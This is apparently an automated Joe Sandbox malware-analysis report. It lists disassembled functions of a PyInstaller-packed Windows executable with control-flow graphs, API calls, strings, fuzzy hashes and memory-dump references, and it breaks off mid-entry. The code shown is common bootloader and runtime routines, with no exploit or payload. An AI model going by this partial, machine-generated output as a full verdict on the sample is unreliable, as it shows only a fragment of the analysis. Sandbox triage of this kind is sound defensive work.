                                                                                                                                                                                                                                              control_flow_graph 754 7ff666dd1210-7ff666dd126d call 7ff666ddbdf0 757 7ff666dd126f-7ff666dd1296 call 7ff666dd2710 754->757 758 7ff666dd1297-7ff666dd12af call 7ff666de4fb4 754->758 763 7ff666dd12d4-7ff666dd12e4 call 7ff666de4fb4 758->763 764 7ff666dd12b1-7ff666dd12cf call 7ff666de4f78 call 7ff666dd2910 758->764 770 7ff666dd12e6-7ff666dd1304 call 7ff666de4f78 call 7ff666dd2910 763->770 771 7ff666dd1309-7ff666dd131b 763->771 777 7ff666dd1439-7ff666dd144e call 7ff666ddbad0 call 7ff666de4fa0 * 2 764->777 770->777 773 7ff666dd1320-7ff666dd1345 call 7ff666de040c 771->773 783 7ff666dd1431 773->783 784 7ff666dd134b-7ff666dd1355 call 7ff666de0180 773->784 791 7ff666dd1453-7ff666dd146d 777->791 783->777 784->783 790 7ff666dd135b-7ff666dd1367 784->790 792 7ff666dd1370-7ff666dd1398 call 7ff666dda230 790->792 795 7ff666dd139a-7ff666dd139d 792->795 796 7ff666dd1416-7ff666dd142c call 7ff666dd2710 792->796 797 7ff666dd139f-7ff666dd13a9 795->797 798 7ff666dd1411 795->798 796->783 800 7ff666dd13d4-7ff666dd13d7 797->800 801 7ff666dd13ab-7ff666dd13b9 call 7ff666de0b4c 797->801 798->796 803 7ff666dd13ea-7ff666dd13ef 800->803 804 7ff666dd13d9-7ff666dd13e7 call 7ff666df9ea0 800->804 805 7ff666dd13be-7ff666dd13c1 801->805 803->792 807 7ff666dd13f5-7ff666dd13f8 803->807 804->803 808 7ff666dd13c3-7ff666dd13cd call 7ff666de0180 805->808 809 7ff666dd13cf-7ff666dd13d2 805->809 811 7ff666dd13fa-7ff666dd13fd 807->811 812 7ff666dd140c-7ff666dd140f 807->812 808->803 808->809 809->796 811->796 814 7ff666dd13ff-7ff666dd1407 811->814 812->783 814->773
                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 00000000.00000002.1898286649.00007FF666DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF666DD0000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898246791.00007FF666DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898336639.00007FF666DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E12000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E14000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E19000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_0_2_7ff666dd0000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: CurrentProcess
                                                                                                                                                                                                                                              • String ID: 1.3.1$Failed to extract %s: decompression resulted in return code %d!$Failed to extract %s: failed to allocate temporary input buffer!$Failed to extract %s: failed to allocate temporary output buffer!$Failed to extract %s: inflateInit() failed with return code %d!$malloc
                                                                                                                                                                                                                                              • API String ID: 2050909247-2813020118
                                                                                                                                                                                                                                              • Opcode ID: 5203fde90a14cfca52878d148793ed0f56fa2f4a03ba52266beea290f2c18543
                                                                                                                                                                                                                                              • Instruction ID: 3d923ce01c263ad90db5ffd466f62063d485587fc0f459b5f986fec0d154f023
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 5203fde90a14cfca52878d148793ed0f56fa2f4a03ba52266beea290f2c18543
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 19519362A08682C5E660AB51B8403BA62A1FF85B98F444335EE4DCF7D5EE3EE545CF40
                                                                                                                                                                                                                                              Function 00007FF666DEED80 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117libraryloaderCOMMONLIBRARYCODE
                                                                                                                                                                                                                                              Download Yara Rule

                                                                                                                                                                                                                                              Control-flow Graph

                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              • FreeLibrary.KERNEL32(?,?,?,00007FF666DEF11A,?,?,-00000018,00007FF666DEADC3,?,?,?,00007FF666DEACBA,?,?,?,00007FF666DE5FAE), ref: 00007FF666DEEEFC
                                                                                                                                                                                                                                              • GetProcAddress.KERNEL32(?,?,?,00007FF666DEF11A,?,?,-00000018,00007FF666DEADC3,?,?,?,00007FF666DEACBA,?,?,?,00007FF666DE5FAE), ref: 00007FF666DEEF08
                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 00000000.00000002.1898286649.00007FF666DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF666DD0000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898246791.00007FF666DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898336639.00007FF666DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E12000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E14000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E19000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_0_2_7ff666dd0000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: AddressFreeLibraryProc
                                                                                                                                                                                                                                              • String ID: api-ms-$ext-ms-
                                                                                                                                                                                                                                              • API String ID: 3013587201-537541572
                                                                                                                                                                                                                                              • Opcode ID: 2820b76ab0802fc58bac5aaef12ed6f6fffcf0c29b30edae647068643d5e49cf
                                                                                                                                                                                                                                              • Instruction ID: d56f3f7e57f14dbc6bab5347687ccb668af5421143c13d98ea1407a7806d8c16
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 2820b76ab0802fc58bac5aaef12ed6f6fffcf0c29b30edae647068643d5e49cf
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: DA41E361B19A82C1FA15CB16B80457963B5BF89BD0F484639ED1DCF384EE3EE8048B44
                                                                                                                                                                                                                                              Function 00007FF666DD36B0 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 61COMMON
                                                                                                                                                                                                                                              Download Yara Rule

                                                                                                                                                                                                                                              Control-flow Graph

                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              • GetModuleFileNameW.KERNEL32(?,00007FF666DD3804), ref: 00007FF666DD36E1
                                                                                                                                                                                                                                              • GetLastError.KERNEL32(?,00007FF666DD3804), ref: 00007FF666DD36EB
                                                                                                                                                                                                                                                • Part of subcall function 00007FF666DD2C50: GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,00007FF666DD3706,?,00007FF666DD3804), ref: 00007FF666DD2C9E
                                                                                                                                                                                                                                                • Part of subcall function 00007FF666DD2C50: FormatMessageW.KERNEL32(?,?,?,?,?,?,?,?,00007FF666DD3706,?,00007FF666DD3804), ref: 00007FF666DD2D63
                                                                                                                                                                                                                                                • Part of subcall function 00007FF666DD2C50: MessageBoxW.USER32 ref: 00007FF666DD2D99
                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 00000000.00000002.1898286649.00007FF666DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF666DD0000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898246791.00007FF666DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898336639.00007FF666DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E12000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E14000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E19000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_0_2_7ff666dd0000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: Message$CurrentErrorFileFormatLastModuleNameProcess
                                                                                                                                                                                                                                              • String ID: Failed to convert executable path to UTF-8.$Failed to obtain executable path.$Failed to resolve full path to executable %ls.$GetModuleFileNameW$\\?\
                                                                                                                                                                                                                                              • API String ID: 3187769757-2863816727
                                                                                                                                                                                                                                              • Opcode ID: 6d8fde842cedad8fbf80b9c4aa3ce336361ac9392ce2c79ae57a11131fda94fc
                                                                                                                                                                                                                                              • Instruction ID: 4390b3255deecc02d0a4c1e35758039482345bf33b1e79ded7db5ef6a840c2e3
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 6d8fde842cedad8fbf80b9c4aa3ce336361ac9392ce2c79ae57a11131fda94fc
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 15216561F1CA82E1FA21A725F8113B62270BF89394F804332E65DCE5D5EE2EE505CF00
                                                                                                                                                                                                                                              Function 00007FF666DEBACC Relevance: 10.8, APIs: 7, Instructions: 290COMMONLIBRARYCODE
                                                                                                                                                                                                                                              Download Yara Rule

                                                                                                                                                                                                                                              Control-flow Graph

                                                                                                                                                                                                                                              • Executed
                                                                                                                                                                                                                                              • Not Executed
                                                                                                                                                                                                                                              control_flow_graph 899 7ff666debacc-7ff666debaf2 900 7ff666debaf4-7ff666debb08 call 7ff666de4f58 call 7ff666de4f78 899->900 901 7ff666debb0d-7ff666debb11 899->901 915 7ff666debefe 900->915 902 7ff666debee7-7ff666debef3 call 7ff666de4f58 call 7ff666de4f78 901->902 903 7ff666debb17-7ff666debb1e 901->903 922 7ff666debef9 call 7ff666dea950 902->922 903->902 906 7ff666debb24-7ff666debb52 903->906 906->902 909 7ff666debb58-7ff666debb5f 906->909 912 7ff666debb61-7ff666debb73 call 7ff666de4f58 call 7ff666de4f78 909->912 913 7ff666debb78-7ff666debb7b 909->913 912->922 918 7ff666debee3-7ff666debee5 913->918 919 7ff666debb81-7ff666debb87 913->919 920 7ff666debf01-7ff666debf18 915->920 918->920 919->918 923 7ff666debb8d-7ff666debb90 919->923 922->915 923->912 926 7ff666debb92-7ff666debbb7 923->926 927 7ff666debbea-7ff666debbf1 926->927 928 7ff666debbb9-7ff666debbbb 926->928 932 7ff666debbf3-7ff666debc1b call 7ff666ded66c call 7ff666dea9b8 * 2 927->932 933 7ff666debbc6-7ff666debbdd call 7ff666de4f58 call 7ff666de4f78 call 7ff666dea950 927->933 930 7ff666debbe2-7ff666debbe8 928->930 931 7ff666debbbd-7ff666debbc4 928->931 935 7ff666debc68-7ff666debc7f 930->935 931->930 931->933 960 7ff666debc1d-7ff666debc33 call 7ff666de4f78 call 7ff666de4f58 932->960 961 7ff666debc38-7ff666debc63 call 7ff666dec2f4 932->961 964 7ff666debd70 933->964 938 7ff666debc81-7ff666debc89 935->938 939 7ff666debcfa-7ff666debd04 call 7ff666df398c 935->939 938->939 943 7ff666debc8b-7ff666debc8d 938->943 951 7ff666debd8e 939->951 952 7ff666debd0a-7ff666debd1f 939->952 943->939 947 7ff666debc8f-7ff666debca5 943->947 947->939 953 7ff666debca7-7ff666debcb3 947->953 955 7ff666debd93-7ff666debdb3 ReadFile 951->955 952->951 957 7ff666debd21-7ff666debd33 GetConsoleMode 952->957 953->939 958 7ff666debcb5-7ff666debcb7 953->958 962 7ff666debead-7ff666debeb6 GetLastError 955->962 963 7ff666debdb9-7ff666debdc1 955->963 957->951 965 7ff666debd35-7ff666debd3d 957->965 958->939 959 7ff666debcb9-7ff666debcd1 958->959 959->939 966 7ff666debcd3-7ff666debcdf 959->966 960->964 961->935 971 7ff666debed3-7ff666debed6 962->971 972 7ff666debeb8-7ff666debece call 7ff666de4f78 call 7ff666de4f58 962->972 963->962 968 7ff666debdc7 963->968 973 7ff666debd73-7ff666debd7d call 7ff666dea9b8 964->973 965->955 970 7ff666debd3f-7ff666debd61 ReadConsoleW 965->970 966->939 975 7ff666debce1-7ff666debce3 966->975 979 7ff666debdce-7ff666debde3 968->979 981 7ff666debd82-7ff666debd8c 970->981 982 7ff666debd63 GetLastError 970->982 976 7ff666debedc-7ff666debede 971->976 977 7ff666debd69-7ff666debd6b call 7ff666de4eec 971->977 972->964 973->920 975->939 985 7ff666debce5-7ff666debcf5 975->985 976->973 977->964 979->973 987 7ff666debde5-7ff666debdf0 979->987 981->979 982->977 985->939 992 7ff666debdf2-7ff666debe0b call 7ff666deb6e4 987->992 993 7ff666debe17-7ff666debe1f 987->993 999 7ff666debe10-7ff666debe12 992->999 996 7ff666debe21-7ff666debe33 993->996 997 7ff666debe9b-7ff666debea8 call 7ff666deb524 993->997 1000 7ff666debe35 996->1000 1001 7ff666debe8e-7ff666debe96 996->1001 997->999 999->973 1003 7ff666debe3a-7ff666debe41 1000->1003 1001->973 1004 7ff666debe43-7ff666debe47 1003->1004 1005 7ff666debe7d-7ff666debe88 1003->1005 1006 7ff666debe63 1004->1006 1007 7ff666debe49-7ff666debe50 1004->1007 1005->1001 1009 7ff666debe69-7ff666debe79 1006->1009 1007->1006 1008 7ff666debe52-7ff666debe56 1007->1008 1008->1006 1010 7ff666debe58-7ff666debe61 1008->1010 1009->1003 1011 7ff666debe7b 1009->1011 1010->1009 1011->1001
                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 00000000.00000002.1898286649.00007FF666DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF666DD0000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898246791.00007FF666DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898336639.00007FF666DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E12000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E14000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E19000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_0_2_7ff666dd0000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: _invalid_parameter_noinfo
                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                              • API String ID: 3215553584-0
                                                                                                                                                                                                                                              • Opcode ID: 71330427dde7a49afb2283bb308656113f98e0c66a4f806cd66398b14c9322eb
                                                                                                                                                                                                                                              • Instruction ID: e3bf5f0cb1d4d6128ab6bd8c83a00ebb07c5624d2685ab2bae8c5fb7da013719
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 71330427dde7a49afb2283bb308656113f98e0c66a4f806cd66398b14c9322eb
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 33C1B422A0CBC6C1E7619B15B5402BDBBB4EB81B80F554231EA4E8F7D1CE7EF8558B10
                                                                                                                                                                                                                                              Function 00007FF666DD8760 Relevance: 10.6, APIs: 7, Instructions: 63COMMON
                                                                                                                                                                                                                                              Download Yara Rule

                                                                                                                                                                                                                                              Control-flow Graph

                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 00000000.00000002.1898286649.00007FF666DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF666DD0000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898246791.00007FF666DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898336639.00007FF666DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E12000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E14000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E19000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_0_2_7ff666dd0000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: Token$InformationProcess$CloseConvertCurrentErrorHandleLastOpenString
                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                              • API String ID: 995526605-0
                                                                                                                                                                                                                                              • Opcode ID: ccba17952e233d5b695068aab9421341a55ed3ebff0a2a14ee99ad80d8ea5500
                                                                                                                                                                                                                                              • Instruction ID: 7a2f22d23eea1fe5adf71a4fb5cd1628ebd4ab43ed938aafddff6f4fd7099287
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: ccba17952e233d5b695068aab9421341a55ed3ebff0a2a14ee99ad80d8ea5500
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 2C212121A0CA42D2EB109B55B45463AA7B0FBC5BA0F141335EAAD8FAE4DF7ED4458F40
                                                                                                                                                                                                                                              Function 00007FF666DD90E0 Relevance: 9.1, APIs: 2, Strings: 4, Instructions: 64COMMON
                                                                                                                                                                                                                                              Download Yara Rule

                                                                                                                                                                                                                                              Control-flow Graph

                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                • Part of subcall function 00007FF666DD8760: GetCurrentProcess.KERNEL32 ref: 00007FF666DD8780
                                                                                                                                                                                                                                                • Part of subcall function 00007FF666DD8760: OpenProcessToken.ADVAPI32 ref: 00007FF666DD8793
                                                                                                                                                                                                                                                • Part of subcall function 00007FF666DD8760: GetTokenInformation.KERNELBASE ref: 00007FF666DD87B8
                                                                                                                                                                                                                                                • Part of subcall function 00007FF666DD8760: GetLastError.KERNEL32 ref: 00007FF666DD87C2
                                                                                                                                                                                                                                                • Part of subcall function 00007FF666DD8760: GetTokenInformation.KERNELBASE ref: 00007FF666DD8802
                                                                                                                                                                                                                                                • Part of subcall function 00007FF666DD8760: ConvertSidToStringSidW.ADVAPI32 ref: 00007FF666DD881E
                                                                                                                                                                                                                                                • Part of subcall function 00007FF666DD8760: CloseHandle.KERNEL32 ref: 00007FF666DD8836
                                                                                                                                                                                                                                              • LocalFree.KERNEL32(?,00007FF666DD3C55), ref: 00007FF666DD916C
                                                                                                                                                                                                                                              • LocalFree.KERNEL32(?,00007FF666DD3C55), ref: 00007FF666DD9175
                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 00000000.00000002.1898286649.00007FF666DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF666DD0000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898246791.00007FF666DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898336639.00007FF666DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E12000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E14000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E19000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_0_2_7ff666dd0000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: Token$FreeInformationLocalProcess$CloseConvertCurrentErrorHandleLastOpenString
                                                                                                                                                                                                                                              • String ID: D:(A;;FA;;;%s)$D:(A;;FA;;;%s)(A;;FA;;;%s)$S-1-3-4$Security descriptor string length exceeds PYI_PATH_MAX!
                                                                                                                                                                                                                                              • API String ID: 6828938-1529539262
                                                                                                                                                                                                                                              • Opcode ID: 44a76ac2d965b652da6d7152683ffc914eb32e79e00aec7a7a922ce7c9633e88
                                                                                                                                                                                                                                              • Instruction ID: 25273913259fff5d96ecad561ca977d3c77457a70775cee1e16f3689c07b208e
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 44a76ac2d965b652da6d7152683ffc914eb32e79e00aec7a7a922ce7c9633e88
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 9A214B21A08782D1E650AB10F9152EA63B4EF88780F844631EA4D9F786DF3EE8458F80
                                                                                                                                                                                                                                              Function 00007FF666DD7E10 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 81COMMON
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              • CreateDirectoryW.KERNELBASE(00000000,?,00007FF666DD352C,?,00000000,00007FF666DD3F23), ref: 00007FF666DD7F22
                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 00000000.00000002.1898286649.00007FF666DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF666DD0000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898246791.00007FF666DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898336639.00007FF666DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E12000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E14000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E19000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_0_2_7ff666dd0000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: CreateDirectory
                                                                                                                                                                                                                                              • String ID: %.*s$%s%c$\
                                                                                                                                                                                                                                              • API String ID: 4241100979-1685191245
                                                                                                                                                                                                                                              • Opcode ID: 8ca7fb79b4ea6b2c566bb37e9ebd00ba932afb87f6e77ad964f7d4209dd14296
                                                                                                                                                                                                                                              • Instruction ID: 96938dedb9dd36aed3322ef5274843387a42352a4be8d72154a39a321e6dbe2a
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 8ca7fb79b4ea6b2c566bb37e9ebd00ba932afb87f6e77ad964f7d4209dd14296
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 7231A921719AC195EA21A721F8507EA6378EF84BE4F440331EA5D8F7C9DE3DD6418F00
                                                                                                                                                                                                                                              Function 00007FF666DECFD0 Relevance: 6.2, APIs: 4, Instructions: 218COMMON
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              • GetConsoleMode.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF666DECFBB), ref: 00007FF666DED0EC
                                                                                                                                                                                                                                              • GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF666DECFBB), ref: 00007FF666DED177
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 00000000.00000002.1898286649.00007FF666DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF666DD0000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898246791.00007FF666DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898336639.00007FF666DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E12000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E14000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E19000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_0_2_7ff666dd0000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: ConsoleErrorLastMode
                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                              • API String ID: 953036326-0
                                                                                                                                                                                                                                              • Opcode ID: 6e58aef6e17acf8d0a0aea0d946e1cce7a25eacb923cf4c64ad3114965f560b8
                                                                                                                                                                                                                                              • Instruction ID: 7dec6943a7b24b924e167af1081adb3144db346be1fdd86bb2bca0c91fa0cd9f
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 6e58aef6e17acf8d0a0aea0d946e1cce7a25eacb923cf4c64ad3114965f560b8
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 6C91B672F18691C5F7609F65A4402BDABB0BB95B88F544239DE0E9F685DE3ED482CB00
                                                                                                                                                                                                                                              Function 00007FF666DEF9FC Relevance: 6.2, APIs: 4, Instructions: 162COMMON
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 00000000.00000002.1898286649.00007FF666DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF666DD0000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898246791.00007FF666DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898336639.00007FF666DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E12000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E14000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E19000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_0_2_7ff666dd0000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: _get_daylight$_isindst
                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                              • API String ID: 4170891091-0
                                                                                                                                                                                                                                              • Opcode ID: 4d98307b2f9efdc6516e3695475c092fba069f5f92b05f4e8f1f7e1348ba3a44
                                                                                                                                                                                                                                              • Instruction ID: aa83aded3f43d17765ec42d4e70e1b34931442e7a1d5b3f1b6d09cc5b059b8f4
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 4d98307b2f9efdc6516e3695475c092fba069f5f92b05f4e8f1f7e1348ba3a44
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 77511872F08655CAFB24CF24B9516BC67B1AB80358F514335EE1DDEAE5DF3AA4028B00
                                                                                                                                                                                                                                              Function 00007FF666DE57EC Relevance: 6.1, APIs: 4, Instructions: 119pipeCOMMON
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              Memory Dump Source
